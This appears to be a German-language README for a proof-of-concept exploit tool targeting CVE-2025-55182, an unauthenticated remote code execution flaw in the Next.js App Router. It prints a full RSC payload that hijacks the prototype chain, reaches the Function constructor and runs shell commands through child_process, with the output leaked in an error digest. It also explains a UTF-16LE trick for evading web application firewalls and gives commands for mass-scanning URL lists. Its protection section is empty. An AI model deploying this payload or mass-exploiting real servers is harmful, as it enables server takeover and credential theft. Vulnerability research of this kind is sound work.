
Proof-of-concept research tool for CVE-2025-55182, a critical unauthenticated RCE in Next.js App Router caused by server-side object injection in React Server Components and Server Actions, including UTF-16LE WAF evasion techniques.
NextRce ist ein Sicherheitsforschungstool, das CVE-2025-55182 demonstriert, eine kritische Schwachstelle in Next.js App Router-Anwendungen, die React Server Components (RSC) und Server Actions verwenden.
Diese Schwachstelle ermöglicht es einem Angreifer, eine nicht authentifizierte Remote Code Execution (RCE) zu erreichen, indem er missbraucht, wie Next.js Server Action-Antworten verarbeitet und serialisierte RSC-Payloads auf dem Server auflöst.
CVE-2025-55182 existiert in der Next.js App Router-Architektur und kann als ein Server-seitige Objektinjektion / Prototype-Chain-Missbrauch Problem klassifiziert werden, das während der Verarbeitung von multipart/form-data-Anfragen auftritt.
Wenn eine Server Action ausgelöst wird, vertraut der Next.js-Server und deserialisiert strukturierte Client-Eingaben. Durch das Senden eines speziell präparierten Payloads kann ein Angreifer die interne Auflösungslogik manipulieren und beliebige Systembefehle in der Node.js-Laufzeitumgebung ausführen.
Die Schwachstelle ergibt sich aus den folgenden kombinierten Faktoren:
Server Actions Trust Model
Server Actions akzeptieren strukturierte Client-Payloads, die durch interne React Server Component-Auflösungslogik mit unzureichender Validierung verarbeitet werden.
Objektinjektion während der RSC-Auflösung
Präparierte Payloads können JavaScript-Prototypenketten und Konstruktorreferenzen missbrauchen, um aus dem beabsichtigten Objektbereich auszubrechen.
Unzureichende Bereinigung
Interne Felder wie then, _response und Formular-Daten-Getter sind nicht ausreichend gegen böswillige Manipulation geschützt.
Encoding-basierter WAF-Bypass
Viele Web Application Firewalls konzentrieren sich auf UTF-8 oder Standard-JSON. Die Kodierung von Payloads als UTF-16LE ermöglicht es ihnen, die Inspektion zu umgehen, während sie vom Next.js-Server korrekt dekodiert werden.
Der Exploit beruht auf dem Injizieren eines präparierten RSC-Payloads in eine Multipart-Anfrage.
Eine vereinfachte Version des Payloads ist unten dargestellt:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. Prototype Chain Hijack
"then": "$1:__proto__:then"then-Eigenschaft überschrieben wird, was die Auflösung von Promises während der React Server Component-Verarbeitung in der Next.js-Laufzeitumgebung beeinträchtigt.2. Constructor Escape
"_formData": { "get": "$1:constructor:constructor" }Function-Konstruktor, was die Ausführung von beliebigem JavaScript außerhalb der vorgesehenen Sandbox ermöglicht.3. Remote Code Execution
process.mainModule.require('child_process').execSync('{cmd}')4. Digest-basierte Ausgabe-Exfiltration
throw Object.assign(new Error('x'), { digest: res });5. WAF-Bypass (UTF-16LE)
Content-Type: text/plain; charset=utf-16leDie erfolgreiche Ausnutzung von CVE-2025-55182 kann zu Folgendem führen:
🔥 Vollständige Remote Code Execution
🗄️ Zugriff auf sensible Daten und Anmeldeinformationen
🔗 Seitwärtsbewegung innerhalb der Infrastruktur
📦 Lieferkettenkompromittierung
🚨 Vollständige Serverübernahme
Schweregrad: Kritisch
Authentifizierung erforderlich: Nein
Um sich gegen CVE-2025-55182 zu schützen:
Einzelziel
python3 exploit.py -u https://target.com -c "whoami"Massen-Scan mit WAF-Bypass
python3 exploit.py -l urls.txt -B -t 50Dieses Projekt wird ausschließlich zu Bildungs-, Forschungs- und autorisierten Sicherheitstestzwecken bereitgestellt.
Verwenden Sie dieses Tool NICHT gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
Der Autor übernimmt keine Verantwortung für Missbrauch.